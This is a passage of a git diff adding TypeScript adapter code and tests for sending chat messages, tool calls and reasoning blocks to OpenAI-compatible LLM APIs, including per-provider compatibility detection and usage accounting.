ChatCompletionContentPart[] = msg.content.map( + (item): ChatCompletionContentPart => { + if (item.type === "text") { + return { + type: "text", + text: sanitizeSurrogates(item.text), + } satisfies ChatCompletionContentPartText; + } + return { + type: "image_url", + image_url: { + url: `data:${item.mimeType};base64,${item.data}`, + }, + } satisfies ChatCompletionContentPartImage; + }, + ); + if (content.length === 0) { + continue; + } + params.push({ + role: "user", + content, + }); + } + } else if (msg.role === "assistant") { + // Some providers don't accept null content, use empty string instead + const assistantMsg: ChatCompletionAssistantMessageParam = { + role: "assistant", + content: compat.requiresAssistantAfterToolResult ? "" : null, + }; + + const assistantTextParts = msg.content + .filter(isTextContentBlock) + .filter((block) => block.text.trim().length > 0) + .map( + (block) => + ({ + type: "text", + text: sanitizeSurrogates(block.text), + }) satisfies ChatCompletionContentPartText, + ); + const assistantText = assistantTextParts.map((part) => part.text).join(""); + + const nonEmptyThinkingBlocks = msg.content + .filter(isThinkingContentBlock) + .filter((block) => block.thinking.trim().length > 0); + if (nonEmptyThinkingBlocks.length > 0) { + if (compat.requiresThinkingAsText) { + // Convert thinking blocks to plain text (no tags to avoid model mimicking them) + const thinkingText = nonEmptyThinkingBlocks + .map((block) => sanitizeSurrogates(block.thinking)) + .join("\n\n"); + assistantMsg.content = [{ type: "text", text: thinkingText }, ...assistantTextParts]; + } else { + // Always send assistant content as a plain string (OpenAI Chat Completions + // API standard format). Sending as an array of {type:"text", text:"..."} + // objects is non-standard and causes some models (e.g. DeepSeek V3.2 via + // NVIDIA NIM) to mirror the content-block structure literally in their + // output, producing recursive nesting like [{'type':'text','text':'[{...}]'}]. + if (assistantText.length > 0) { + assistantMsg.content = assistantText; + } + + // Use the signature from the first thinking block if available (for llama.cpp server + gpt-oss) + let signature = nonEmptyThinkingBlocks[0].thinkingSignature; + if (model.provider === "opencode-go" && signature === "reasoning") { + signature = "reasoning_content"; + } + if (signature && signature.length > 0) { + (assistantMsg as typeof assistantMsg & Record)[signature] = + nonEmptyThinkingBlocks.map((block) => block.thinking).join("\n"); + } + } + } else if (assistantText.length > 0) { + // Always send assistant content as a plain string (OpenAI Chat Completions + // API standard format). Sending as an array of {type:"text", text:"..."} + // objects is non-standard and causes some models (e.g. DeepSeek V3.2 via + // NVIDIA NIM) to mirror the content-block structure literally in their + // output, producing recursive nesting like [{'type':'text','text':'[{...}]'}]. + assistantMsg.content = assistantText; + } + + const toolCalls = msg.content.filter(isToolCallBlock); + if (toolCalls.length > 0) { + assistantMsg.tool_calls = toolCalls.map((tc) => ({ + id: tc.id, + type: "function" as const, + function: { + name: tc.name, + arguments: JSON.stringify(tc.arguments), + }, + })); + const reasoningDetails = toolCalls + .filter((tc) => tc.thoughtSignature) + .map((tc) => { + try { + return JSON.parse(tc.thoughtSignature!); + } catch { + return null; + } + }) + .filter(Boolean); + if (reasoningDetails.length > 0) { + ( + assistantMsg as typeof assistantMsg & { reasoning_details?: unknown } + ).reasoning_details = reasoningDetails; + } + } + if ( + compat.requiresReasoningContentOnAssistantMessages && + model.reasoning && + (assistantMsg as { reasoning_content?: string }).reasoning_content === undefined + ) { + (assistantMsg as { reasoning_content?: string }).reasoning_content = ""; + } + // Skip assistant messages that have no content and no tool calls. + // Some providers require "either content or tool_calls, but not none". + // Other providers also don't accept empty assistant messages. + // This handles aborted assistant responses that got no content. + const content = assistantMsg.content; + const hasContent = + content !== null && + content !== undefined && + (typeof content === "string" ? content.length > 0 : content.length > 0); + if (!hasContent && !assistantMsg.tool_calls) { + continue; + } + params.push(assistantMsg); + } else if (msg.role === "toolResult") { + const imageBlocks: Array<{ type: "image_url"; image_url: { url: string } }> = []; + let j = i; + + for (; j < transformedMessages.length && transformedMessages[j].role === "toolResult"; j++) { + const toolMsg = transformedMessages[j] as ToolResultMessage; + + // Extract text and image content + const textResult = toolMsg.content + .filter(isTextContentBlock) + .map((block) => block.text) + .join("\n"); + const hasImages = toolMsg.content.some((c) => c.type === "image"); + + // Always send tool result with text (or placeholder if only images) + const hasText = textResult.length > 0; + // Some providers require the 'name' field in tool results + const toolResultMsg: ChatCompletionToolMessageParam = { + role: "tool", + content: sanitizeSurrogates(hasText ? textResult : "(see attached image)"), + tool_call_id: toolMsg.toolCallId, + }; + if (compat.requiresToolResultName && toolMsg.toolName) { + (toolResultMsg as typeof toolResultMsg & { name?: string }).name = toolMsg.toolName; + } + params.push(toolResultMsg); + + if (hasImages && model.input.includes("image")) { + for (const block of toolMsg.content) { + if (isImageContentBlock(block)) { + imageBlocks.push({ + type: "image_url", + image_url: { + url: `data:${block.mimeType};base64,${block.data}`, + }, + }); + } + } + } + } + + i = j - 1; + + if (imageBlocks.length > 0) { + if (compat.requiresAssistantAfterToolResult) { + params.push({ + role: "assistant", + content: "I have processed the tool results.", + }); + } + + params.push({ + role: "user", + content: [ + { + type: "text", + text: "Attached image(s) from tool result:", + }, + ...imageBlocks, + ], + }); + lastRole = "user"; + } else { + lastRole = "toolResult"; + } + continue; + } + + lastRole = msg.role; + } + + return params; +} + +function convertTools( + tools: Tool[], + compat: ResolvedOpenAICompletionsCompat, +): OpenAI.Chat.Completions.ChatCompletionTool[] { + return tools.map((tool) => ({ + type: "function", + function: { + name: tool.name, + description: tool.description, + parameters: tool.parameters as Record, // TypeBox already generates JSON Schema + // Only include strict if provider supports it. Some reject unknown fields. + ...(compat.supportsStrictMode && { strict: false }), + }, + })); +} + +function parseChunkUsage( + rawUsage: { + prompt_tokens?: number; + completion_tokens?: number; + prompt_cache_hit_tokens?: number; + prompt_tokens_details?: { cached_tokens?: number; cache_write_tokens?: number }; + }, + model: Model<"openai-completions">, +): AssistantMessage["usage"] { + const promptTokens = rawUsage.prompt_tokens || 0; + const cacheReadTokens = + rawUsage.prompt_tokens_details?.cached_tokens ?? rawUsage.prompt_cache_hit_tokens ?? 0; + const cacheWriteTokens = rawUsage.prompt_tokens_details?.cache_write_tokens || 0; + + // Follow documented OpenAI/OpenRouter semantics: cached_tokens is cache-read + // tokens (hits). OpenAI does not document or emit cache_write_tokens, but + // OpenRouter-compatible providers can include it as a separate write count. + // OpenRouter's own provider/tests affirm the separate mapping: + // https://github.com/OpenRouterTeam/ai-sdk-provider/pull/409 + // Do not subtract writes from cached_tokens, otherwise spec-compliant + // providers are under-reported. DS4 mirrors this contract too: + // https://github.com/antirez/ds4/pull/29 + const input = Math.max(0, promptTokens - cacheReadTokens - cacheWriteTokens); + // OpenAI completion_tokens already includes reasoning_tokens. + const outputTokens = rawUsage.completion_tokens || 0; + const usage: AssistantMessage["usage"] = { + input, + output: outputTokens, + cacheRead: cacheReadTokens, + cacheWrite: cacheWriteTokens, + totalTokens: input + outputTokens + cacheReadTokens + cacheWriteTokens, + cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, + }; + calculateCost(model, usage); + return usage; +} + +function mapStopReason(reason: string): { + stopReason: StopReason; + errorMessage?: string; +} { + if (reason === null) { + return { stopReason: "stop" }; + } + switch (reason) { + case "stop": + case "end": + return { stopReason: "stop" }; + case "length": + return { stopReason: "length" }; + case "function_call": + case "tool_calls": + return { stopReason: "toolUse" }; + case "content_filter": + return { stopReason: "error", errorMessage: "Provider finish_reason: content_filter" }; + case "network_error": + return { stopReason: "error", errorMessage: "Provider finish_reason: network_error" }; + default: + return { + stopReason: "error", + errorMessage: `Provider finish_reason: ${reason}`, + }; + } +} + +/** + * Detect compatibility settings from provider and baseUrl for known providers. + * Provider takes precedence over URL-based detection since it's explicitly configured. + * Returns a fully resolved OpenAICompletionsCompat object with all fields set. + */ +function detectCompat(model: Model<"openai-completions">): ResolvedOpenAICompletionsCompat { + const provider = model.provider; + const baseUrl = model.baseUrl; + + const isZai = provider === "zai" || baseUrl.includes("api.z.ai"); + const isTogether = + provider === "together" || + baseUrl.includes("api.together.ai") || + baseUrl.includes("api.together.xyz"); + const isMoonshot = + provider === "moonshotai" || provider === "moonshotai-cn" || baseUrl.includes("api.moonshot."); + const isCloudflareWorkersAI = + provider === "cloudflare-workers-ai" || baseUrl.includes("api.cloudflare.com"); + const isCloudflareAiGateway = + provider === "cloudflare-ai-gateway" || baseUrl.includes("gateway.ai.cloudflare.com"); + + const isNonStandard = + provider === "cerebras" || + baseUrl.includes("cerebras.ai") || + provider === "xai" || + baseUrl.includes("api.x.ai") || + isTogether || + baseUrl.includes("chutes.ai") || + baseUrl.includes("deepseek.com") || + isZai || + isMoonshot || + provider === "opencode" || + baseUrl.includes("opencode.ai") || + isCloudflareWorkersAI || + isCloudflareAiGateway; + + const useMaxTokens = + baseUrl.includes("chutes.ai") || isMoonshot || isCloudflareAiGateway || isTogether; + + const isGrok = provider === "xai" || baseUrl.includes("api.x.ai"); + const isDeepSeek = provider === "deepseek" || baseUrl.includes("deepseek.com"); + const cacheControlFormat = + provider === "openrouter" && model.id.startsWith("anthropic/") ? "anthropic" : undefined; + + return { + supportsStore: !isNonStandard, + supportsDeveloperRole: !isNonStandard, + supportsReasoningEffort: + !isGrok && !isZai && !isMoonshot && !isTogether && !isCloudflareAiGateway, + supportsUsageInStreaming: true, + maxTokensField: useMaxTokens ? "max_tokens" : "max_completion_tokens", + requiresToolResultName: false, + requiresAssistantAfterToolResult: false, + requiresThinkingAsText: false, + requiresReasoningContentOnAssistantMessages: isDeepSeek, + thinkingFormat: isDeepSeek + ? "deepseek" + : isZai + ? "zai" + : isTogether + ? "together" + : provider === "openrouter" || baseUrl.includes("openrouter.ai") + ? "openrouter" + : "openai", + openRouterRouting: {}, + vercelGatewayRouting: {}, + zaiToolStream: false, + supportsStrictMode: !isMoonshot && !isTogether && !isCloudflareAiGateway, + cacheControlFormat, + sendSessionAffinityHeaders: false, + supportsLongCacheRetention: !(isTogether || isCloudflareWorkersAI || isCloudflareAiGateway), + }; +} + +/** + * Get resolved compatibility settings for a model. + * Uses explicit model.compat if provided, otherwise auto-detects from provider/URL. + */ +function getCompat(model: Model<"openai-completions">): ResolvedOpenAICompletionsCompat { + const detected = detectCompat(model); + if (!model.compat) { + return detected; + } + + return { + supportsStore: model.compat.supportsStore ?? detected.supportsStore, + supportsDeveloperRole: model.compat.supportsDeveloperRole ?? detected.supportsDeveloperRole, + supportsReasoningEffort: + model.compat.supportsReasoningEffort ?? detected.supportsReasoningEffort, + supportsUsageInStreaming: + model.compat.supportsUsageInStreaming ?? detected.supportsUsageInStreaming, + maxTokensField: model.compat.maxTokensField ?? detected.maxTokensField, + requiresToolResultName: model.compat.requiresToolResultName ?? detected.requiresToolResultName, + requiresAssistantAfterToolResult: + model.compat.requiresAssistantAfterToolResult ?? detected.requiresAssistantAfterToolResult, + requiresThinkingAsText: model.compat.requiresThinkingAsText ?? detected.requiresThinkingAsText, + requiresReasoningContentOnAssistantMessages: + model.compat.requiresReasoningContentOnAssistantMessages ?? + detected.requiresReasoningContentOnAssistantMessages, + thinkingFormat: model.compat.thinkingFormat ?? detected.thinkingFormat, + openRouterRouting: model.compat.openRouterRouting ?? {}, + vercelGatewayRouting: model.compat.vercelGatewayRouting ?? detected.vercelGatewayRouting, + zaiToolStream: model.compat.zaiToolStream ?? detected.zaiToolStream, + supportsStrictMode: model.compat.supportsStrictMode ?? detected.supportsStrictMode, + cacheControlFormat: model.compat.cacheControlFormat ?? detected.cacheControlFormat, + sendSessionAffinityHeaders: + model.compat.sendSessionAffinityHeaders ?? detected.sendSessionAffinityHeaders, + supportsLongCacheRetention: + model.compat.supportsLongCacheRetention ?? detected.supportsLongCacheRetention, + }; +} diff --git a/src/llm/providers/openai-prompt-cache.ts b/src/llm/providers/openai-prompt-cache.ts new file mode 100644 index 00000000000..0cf32f83286 --- /dev/null +++ b/src/llm/providers/openai-prompt-cache.ts @@ -0,0 +1,12 @@ +export const OPENAI_PROMPT_CACHE_KEY_MAX_LENGTH = 64; + +export function clampOpenAIPromptCacheKey(key: string | undefined): string | undefined { + if (key === undefined) { + return undefined; + } + const chars = Array.from(key); + if (chars.length <= OPENAI_PROMPT_CACHE_KEY_MAX_LENGTH) { + return key; + } + return chars.slice(0, OPENAI_PROMPT_CACHE_KEY_MAX_LENGTH).join(""); +} diff --git a/src/llm/providers/openai-responses-shared.test.ts b/src/llm/providers/openai-responses-shared.test.ts new file mode 100644 index 00000000000..3d104b2f6a8 --- /dev/null +++ b/src/llm/providers/openai-responses-shared.test.ts @@ -0,0 +1,124 @@ +import type { Tool as OpenAIResponsesTool } from "openai/resources/responses/responses.js"; +import { describe, expect, it } from "vitest"; +import type { Model, Tool } from "../types.js"; +import { convertResponsesTools } from "./openai-responses-tools.js"; + +type ResponsesFunctionTool = Extract; + +function expectResponsesFunctionTool(tool: OpenAIResponsesTool | undefined): ResponsesFunctionTool { + expect(tool).toHaveProperty("type", "function"); + return tool as ResponsesFunctionTool; +} + +const nativeOpenAIModel = { + id: "gpt-5.5", + name: "GPT-5.5", + api: "openai-responses", + provider: "openai", + baseUrl: "https://api.openai.com/v1", + reasoning: true, + input: ["text"], + cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, + contextWindow: 200000, + maxTokens: 8192, +} satisfies Model<"openai-responses">; + +const proxyOpenAIModel = { + ...nativeOpenAIModel, + id: "custom-model", + name: "Custom Model", + baseUrl: "https://proxy.example.com/v1", +} satisfies Model<"openai-responses">; + +describe("convertResponsesTools", () => { + it("enables native strict OpenAI Responses tools and normalizes schemas", () => { + const tools = [ + { + name: "lookup_weather", + description: "Get forecast", + parameters: {}, + }, + ] satisfies Tool[]; + + const converted = convertResponsesTools(tools, { model: nativeOpenAIModel }); + + expect(converted).toEqual([ + { + type: "function", + name: "lookup_weather", + description: "Get forecast", + strict: true, + parameters: { + type: "object", + properties: {}, + required: [], + additionalProperties: false, + }, + }, + ]); + }); + + it("downgrades incompatible native Responses schemas to strict false", () => { + const converted = convertResponsesTools( + [ + { + name: "read_file", + description: "Read", + parameters: { + type: "object", + additionalProperties: false, + properties: { path: { type: "string" } }, + required: [], + }, + }, + ], + { model: nativeOpenAIModel }, + ); + + const tool = expectResponsesFunctionTool(converted[0]); + expect(tool.strict).toBe(false); + expect(tool.parameters).toEqual({ + type: "object", + additionalProperties: false, + properties: { path: { type: "string" } }, + required: [], + }); + }); + + it("omits strict on proxy-like Responses routes but keeps schema normalization", () => { + const converted = convertResponsesTools( + [ + { + name: "lookup_weather", + description: "Get forecast", + parameters: {}, + }, + ], + { model: proxyOpenAIModel }, + ); + + const tool = expectResponsesFunctionTool(converted[0]); + expect(tool).not.toHaveProperty("strict"); + expect(tool.parameters).toEqual({ + type: "object", + properties: {}, + }); + }); + + it("keeps tool order deterministic", () => { + const zeta = { + name: "zeta", + description: "Z", + parameters: {}, + } satisfies Tool; + const alpha = { + name: "alpha", + description: "A", + parameters: {}, + } satisfies Tool; + + expect( + convertResponsesTools([zeta, alpha]).map((tool) => expectResponsesFunctionTool(tool).name), + ).toEqual(["alpha", "zeta"]); + }); +}); diff --git a/src/llm/providers/openai-responses-shared.ts b/src/llm/providers/openai-responses-shared.ts new file mode 100644 index 00000000000..2756d747a5f --- /dev/null +++ b/src/llm/providers/openai-responses-shared.ts @@ -0,0 +1,566 @@ +import type OpenAI from "openai"; +import type { + ResponseCreateParamsStreaming, + ResponseFunctionCallOutputItemList, + ResponseFunctionToolCall, + ResponseInput, + ResponseInputContent, + ResponseInputImage, + ResponseInputText, + ResponseOutputMessage, + ResponseReasoningItem, + ResponseStreamEvent, +} from "openai/resources/responses/responses.js"; +import { calculateCost } from "../model-utils.js"; +import type { + Api, + AssistantMessage, + Context, + ImageContent, + Model, + StopReason, + TextContent, + TextSignatureV1, + ThinkingContent, + ToolCall, + Usage, +} from "../types.js"; +import type { AssistantMessageEventStream } from "../utils/event-stream.js"; +import { shortHash } from "../utils/hash.js"; +import { parseStreamingJson } from "../utils/json-parse.js"; +import { sanitizeSurrogates } from "../utils/sanitize-unicode.js"; +import { transformMessages } from "./transform-messages.js"; + +// ============================================================================= +// Utilities +// ============================================================================= + +function encodeTextSignatureV1(id: string, phase?: TextSignatureV1["phase"]): string { + const payload: TextSignatureV1 = { v: 1, id }; + if (phase) { + payload.phase = phase; + } + return JSON.stringify(payload); +} + +function parseTextSignature( + signature: string | undefined, +): { id: string; phase?: TextSignatureV1["phase"] } | undefined { + if (!signature) { + return undefined; + } + if (signature.startsWith("{")) { + try { + const parsed = JSON.parse(signature) as Partial; + if (parsed.v === 1 && typeof parsed.id === "string") { + if (parsed.phase === "commentary" || parsed.phase === "final_answer") { + return { id: parsed.id, phase: parsed.phase }; + } + return { id: parsed.id }; + } + } catch { + // Fall through to legacy plain-string handling. + } + } + return { id: signature }; +} + +export interface OpenAIResponsesStreamOptions { + serviceTier?: ResponseCreateParamsStreaming["service_tier"]; + resolveServiceTier?: ( + responseServiceTier: ResponseCreateParamsStreaming["service_tier"] | undefined, + requestServiceTier: ResponseCreateParamsStreaming["service_tier"] | undefined, + ) => ResponseCreateParamsStreaming["service_tier"] | undefined; + applyServiceTierPricing?: ( + usage: Usage, + serviceTier: ResponseCreateParamsStreaming["service_tier"] | undefined, + ) => void; +} + +export interface ConvertResponsesMessagesOptions { + includeSystemPrompt?: boolean; +} +export { convertResponsesTools } from "./openai-responses-tools.js"; +export type { ConvertResponsesToolsOptions } from "./openai-responses-tools.js"; + +// ============================================================================= +// Message conversion +// ============================================================================= + +export function convertResponsesMessages( + model: Model, + context: Context, + allowedToolCallProviders: ReadonlySet, + options?: ConvertResponsesMessagesOptions, +): ResponseInput { + const messages: ResponseInput = []; + + const normalizeIdPart = (part: string): string => { + const sanitized = part.replace(/[^a-zA-Z0-9_-]/g, "_"); + const normalized = sanitized.length > 64 ? sanitized.slice(0, 64) : sanitized; + return normalized.replace(/_+$/, ""); + }; + + const buildForeignResponsesItemId = (itemId: string): string => { + const normalized = `fc_${shortHash(itemId)}`; + return normalized.length > 64 ? normalized.slice(0, 64) : normalized; + }; + + const normalizeToolCallId = ( + id: string, + targetModel: Model, + source: AssistantMessage, + ): string => { + void targetModel; + if (!allowedToolCallProviders.has(model.provider)) { + return normalizeIdPart(id); + } + if (!id.includes("|")) { + return normalizeIdPart(id); + } + const [callId, itemId] = id.split("|"); + const normalizedCallId = normalizeIdPart(callId); + const isForeignToolCall = source.provider !== model.provider || source.api !== model.api; + let normalizedItemId = isForeignToolCall + ? buildForeignResponsesItemId(itemId) + : normalizeIdPart(itemId); + // OpenAI Responses API requires item id to start with "fc" + if (!normalizedItemId.startsWith("fc_")) { + normalizedItemId = normalizeIdPart(`fc_${normalizedItemId}`); + } + return `${normalizedCallId}|${normalizedItemId}`; + }; + + const transformedMessages = transformMessages(context.messages, model, normalizeToolCallId); + + const includeSystemPrompt = options?.includeSystemPrompt ?? true; + if (includeSystemPrompt && context.systemPrompt) { + const role = model.reasoning ? "developer" : "system"; + messages.push({ + role, + content: sanitizeSurrogates(context.systemPrompt), + }); + } + + let msgIndex = 0; + for (const msg of transformedMessages) { + if (msg.role === "user") { + if (typeof msg.content === "string") { + messages.push({ + role: "user", + content: [{ type: "input_text", text: sanitizeSurrogates(msg.content) }], + }); + } else { + const content: ResponseInputContent[] = msg.content.map((item): ResponseInputContent => { + if (item.type === "text") { + return { + type: "input_text", + text: sanitizeSurrogates(item.text), + } satisfies ResponseInputText; + } + return { + type: "input_image", + detail: "auto", + image_url: `data:${item.mimeType};base64,${item.data}`, + } satisfies ResponseInputImage; + }); + if (content.length === 0) { + continue; + } + messages.push({ + role: "user", + content, + }); + } + } else if (msg.role === "assistant") { + const output: ResponseInput = []; + const assistantMsg = msg; + const isDifferentModel = + assistantMsg.model !== model.id && + assistantMsg.provider === model.provider && + assistantMsg.api === model.api; + + for (const block of msg.content) { + if (block.type === "thinking") { + if (block.thinkingSignature) { + const reasoningItem = JSON.parse(block.thinkingSignature) as ResponseReasoningItem; + output.push(reasoningItem); + } + } else if (block.type === "text") { + const textBlock = block; + const parsedSignature = parseTextSignature(textBlock.textSignature); + // OpenAI requires id to be max 64 characters + let msgId = parsedSignature?.id; + if (!msgId) { + msgId = `msg_${msgIndex}`; + } else if (msgId.length > 64) { + msgId = `msg_${shortHash(msgId)}`; + } + output.push({ + type: "message", + role: "assistant", + content: [ + { type: "output_text", text: sanitizeSurrogates(textBlock.text), annotations: [] }, + ], + status: "completed", + id: msgId, + phase: parsedSignature?.phase, + } satisfies ResponseOutputMessage); + } else if (block.type === "toolCall") { + const toolCall = block; + const [callId, itemIdRaw] = toolCall.id.split("|"); + let itemId: string | undefined = itemIdRaw; + + // For different-model messages, set id to undefined to avoid pairing validation. + // OpenAI tracks which fc_xxx IDs were paired with rs_xxx reasoning items. + // By omitting the id, we avoid triggering that validation (like cross-provider does). + if (isDifferentModel && itemId?.startsWith("fc_")) { + itemId = undefined; + } + + output.push({ + type: "function_call", + id: itemId, + call_id: callId, + name: toolCall.name, + arguments: JSON.stringify(toolCall.arguments), + }); + } + } + if (output.length === 0) { + continue; + } + messages.push(...output); + } else if (msg.role === "toolResult") { + const textResult = msg.content + .filter((c): c is TextContent => c.type === "text") + .map((c) => c.text) + .join("\n"); + const hasImages = msg.content.some((c): c is ImageContent => c.type === "image"); + const hasText = textResult.length > 0; + const [callId] = msg.toolCallId.split("|"); + + let output: string | ResponseFunctionCallOutputItemList; + if (hasImages && model.input.includes("image")) { + const contentParts: ResponseFunctionCallOutputItemList = []; + + if (hasText) { + contentParts.push({ + type: "input_text", + text: sanitizeSurrogates(textResult), + }); + } + + for (const block of msg.content) { + if (block.type === "image") { + contentParts.push({ + type: "input_image", + detail: "auto", + image_url: `data:${block.mimeType};base64,${block.data}`, + }); + } + } + + output = contentParts; + } else { + output = sanitizeSurrogates(hasText ? textResult : "(see attached image)"); + } + + messages.push({ + type: "function_call_output", + call_id: callId, + output, + }); + } + msgIndex++; + } + + return messages; +} + +// ============================================================================= +// Stream processing +// ============================================================================= + +export async function processResponsesStream( + openaiStream: AsyncIterable, + output: AssistantMessage, + stream: AssistantMessageEventStream, + model: Model, + options?: OpenAIResponsesStreamOptions, +): Promise { + let currentItem: ResponseReasoningItem | ResponseOutputMessage | ResponseFunctionToolCall | null = + null; + let currentBlock: ThinkingContent | TextContent | (ToolCall & { partialJson: string }) | null = + null; + const blocks = output.content; + const blockIndex = () => blocks.length - 1; + + for await (const event of openaiStream) { + if (event.type === "response.created") { + output.responseId = event.response.id; + } else if (event.type === "response.output_item.added") { + const item = event.item; + if (item.type === "reasoning") { + currentItem = item; + currentBlock = { type: "thinking", thinking: "" }; + output.content.push(currentBlock); + stream.push({ type: "thinking_start", contentIndex: blockIndex(), partial: output }); + } else if (item.type === "message") { + currentItem = item; + currentBlock = { type: "text", text: "" }; + output.content.push(currentBlock); + stream.push({ type: "text_start", contentIndex: blockIndex(), partial: output }); + } else if (item.type === "function_call") { + currentItem = item; + currentBlock = { + type: "toolCall", + id: `${item.call_id}|${item.id}`, + name: item.name, + arguments: {}, + partialJson: item.arguments || "", + }; + output.content.push(currentBlock); + stream.push({ type: "toolcall_start", contentIndex: blockIndex(), partial: output }); + } + } else if (event.type === "response.reasoning_summary_part.added") { + if (currentItem && currentItem.type === "reasoning") { + currentItem.summary = currentItem.summary || []; + currentItem.summary.push(event.part); + } + } else if (event.type === "response.reasoning_summary_text.delta") { + if (currentItem?.type === "reasoning" && currentBlock?.type === "thinking") { + currentItem.summary = currentItem.summary || []; + const lastPart = currentItem.summary[currentItem.summary.length - 1]; + if (lastPart) { + currentBlock.thinking += event.delta; + lastPart.text += event.delta; + stream.push({ + type: "thinking_delta", + contentIndex: blockIndex(), + delta: event.delta, + partial: output, + }); + } + } + } else if (event.type === "response.reasoning_summary_part.done") { + if (currentItem?.type === "reasoning" && currentBlock?.type === "thinking") { + currentItem.summary = currentItem.summary || []; + const lastPart = currentItem.summary[currentItem.summary.length - 1]; + if (lastPart) { + currentBlock.thinking += "\n\n"; + lastPart.text += "\n\n"; + stream.push({ + type: "thinking_delta", + contentIndex: blockIndex(), + delta: "\n\n", + partial: output, + }); + } + } + } else if (event.type === "response.reasoning_text.delta") { + if (currentItem?.type === "reasoning" && currentBlock?.type === "thinking") { + currentBlock.thinking += event.delta; + stream.push({ + type: "thinking_delta", + contentIndex: blockIndex(), + delta: event.delta, + partial: output, + }); + } + } else if (event.type === "response.content_part.added") { + if (currentItem?.type === "message") { + currentItem.content = currentItem.content || []; + // Filter out ReasoningText, only accept output_text and refusal + if (event.part.type === "output_text" || event.part.type === "refusal") { + currentItem.content.push(event.part); + } + } + } else if (event.type === "response.output_text.delta") { + if (currentItem?.type === "message" && currentBlock?.type === "text") { + if (!currentItem.content || currentItem.content.length === 0) { + continue; + } + const lastPart = currentItem.content[currentItem.content.length - 1]; + if (lastPart?.type === "output_text") { + currentBlock.text += event.delta; + lastPart.text += event.delta; + stream.push({ + type: "text_delta", + contentIndex: blockIndex(), + delta: event.delta, + partial: output, + }); + } + } + } else if (event.type === "response.refusal.delta") { + if (currentItem?.type === "message" && currentBlock?.type === "text") { + if (!currentItem.content || currentItem.content.length === 0) { + continue; + } + const lastPart = currentItem.content[currentItem.content.length - 1]; + if (lastPart?.type === "refusal") { + currentBlock.text += event.delta; + lastPart.refusal += event.delta; + stream.push({ + type: "text_delta", + contentIndex: blockIndex(), + delta: event.delta, + partial: output, + }); + } + } + } else if (event.type === "response.function_call_arguments.delta") { + if (currentItem?.type === "function_call" && currentBlock?.type === "toolCall") { + currentBlock.partialJson += event.delta; + currentBlock.arguments = parseStreamingJson(currentBlock.partialJson); + stream.push({ + type: "toolcall_delta", + contentIndex: blockIndex(), + delta: event.delta, + partial: output, + }); + } + } else if (event.type === "response.function_call_arguments.done") { + if (currentItem?.type === "function_call" && currentBlock?.type === "toolCall") { + const previousPartialJson = currentBlock.partialJson; + currentBlock.partialJson = event.arguments; + currentBlock.arguments = parseStreamingJson(currentBlock.partialJson); + + if (event.arguments.startsWith(previousPartialJson)) { + const delta = event.arguments.slice(previousPartialJson.length); + if (delta.length > 0) { + stream.push({ + type: "toolcall_delta", + contentIndex: blockIndex(), + delta, + partial: output, + }); + } + } + } + } else if (event.type === "response.output_item.done") { + const item = event.item; + + if (item.type === "reasoning" && currentBlock?.type === "thinking") { + const summaryText = item.summary?.map((s) => s.text).join("\n\n") || ""; + const contentText = item.content?.map((c) => c.text).join("\n\n") || ""; + currentBlock.thinking = summaryText || contentText || currentBlock.thinking; + currentBlock.thinkingSignature = JSON.stringify(item); + stream.push({ + type: "thinking_end", + contentIndex: blockIndex(), + content: currentBlock.thinking, + partial: output, + }); + currentBlock = null; + } else if (item.type === "message" && currentBlock?.type === "text") { + currentBlock.text = item.content + .map((c) => (c.type === "output_text" ? c.text : c.refusal)) + .join(""); + currentBlock.textSignature = encodeTextSignatureV1(item.id, item.phase ?? undefined); + stream.push({ + type: "text_end", + contentIndex: blockIndex(), + content: currentBlock.text, + partial: output, + }); + currentBlock = null; + } else if (item.type === "function_call") { + const args = + currentBlock?.type === "toolCall" && currentBlock.partialJson + ? parseStreamingJson(currentBlock.partialJson) + : parseStreamingJson(item.arguments || "{}"); + + let toolCall: ToolCall; + if (currentBlock?.type === "toolCall") { + // Finalize in-place and strip the scratch buffer so replay only + // carries parsed arguments. + currentBlock.arguments = args; + delete (currentBlock as { partialJson?: string }).partialJson; + toolCall = currentBlock; + } else { + toolCall = { + type: "toolCall", + id: `${item.call_id}|${item.id}`, + name: item.name, + arguments: args, + }; + } + + currentBlock = null; + stream.push({ + type: "toolcall_end", + contentIndex: blockIndex(), + toolCall, + partial: output, + }); + } + } else if (event.type === "response.completed") { + const response = event.response; + if (response?.id) { + output.responseId = response.id; + } + if (response?.usage) { + const cachedTokens = response.usage.input_tokens_details?.cached_tokens || 0; + output.usage = { + // OpenAI includes cached tokens in input_tokens, so subtract to get non-cached input + input: (response.usage.input_tokens || 0) - cachedTokens, + output: response.usage.output_tokens || 0, + cacheRead: cachedTokens, + cacheWrite: 0, + totalTokens: response.usage.total_tokens || 0, + cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, + }; + } + calculateCost(model, output.usage); + if (options?.applyServiceTierPricing) { + const serviceTier = options.resolveServiceTier + ? options.resolveServiceTier(response?.service_tier, options.serviceTier) + : (response?.service_tier ?? options.serviceTier); + options.applyServiceTierPricing(output.usage, serviceTier); + } + // Map status to stop reason + output.stopReason = mapStopReason(response?.status); + if (output.content.some((b) => b.type === "toolCall") && output.stopReason === "stop") { + output.stopReason = "toolUse"; + } + } else if (event.type === "error") { + throw new Error( + event.message ? `Error Code ${event.code}: ${event.message}` : "Unknown error", + ); + } else if (event.type === "response.failed") { + const error = event.response?.error; + const details = event.response?.incomplete_details; + const msg = error + ? `${error.code || "unknown"}: ${error.message || "no message"}` + : details?.reason + ? `incomplete: ${details.reason}` + : "Unknown error (no error details in response)"; + throw new Error(msg); + } + } +} + +function mapStopReason(status: OpenAI.Responses.ResponseStatus | undefined): StopReason { + if (!status) { + return "stop"; + } + switch (status) { + case "completed": + return "stop"; + case "incomplete": + return "length"; + case "failed": + case "cancelled": + return "error"; + // These two are wonky ... + case "in_progress": + case "queued": + return "stop"; + default: { + const exhaustive: never = status; + throw new Error(`Unhandled stop reason: ${String(exhaustive)}`); + } + } +} diff --git a/src/llm/providers/openai-responses-tools.ts b/src/llm/providers/openai-responses-tools.ts new file mode 100644 index 00000000000..d116ac7f359 --- /dev/null +++ b/src/llm/providers/openai-responses-tools.ts @@ -0,0 +1,146 @@ +import { createHash } from "node:crypto"; +import type { Tool as OpenAITool } from "openai/resources/responses/responses.js"; +import { resolveOpenAIStrictToolSetting } from "../../agents/openai-strict-tool-setting.js"; +import { + findOpenAIStrictToolSchemaDiagnostics, + normalizeOpenAIStrictToolParameters, + resolveOpenAIStrictToolFlagForInventory, +} from 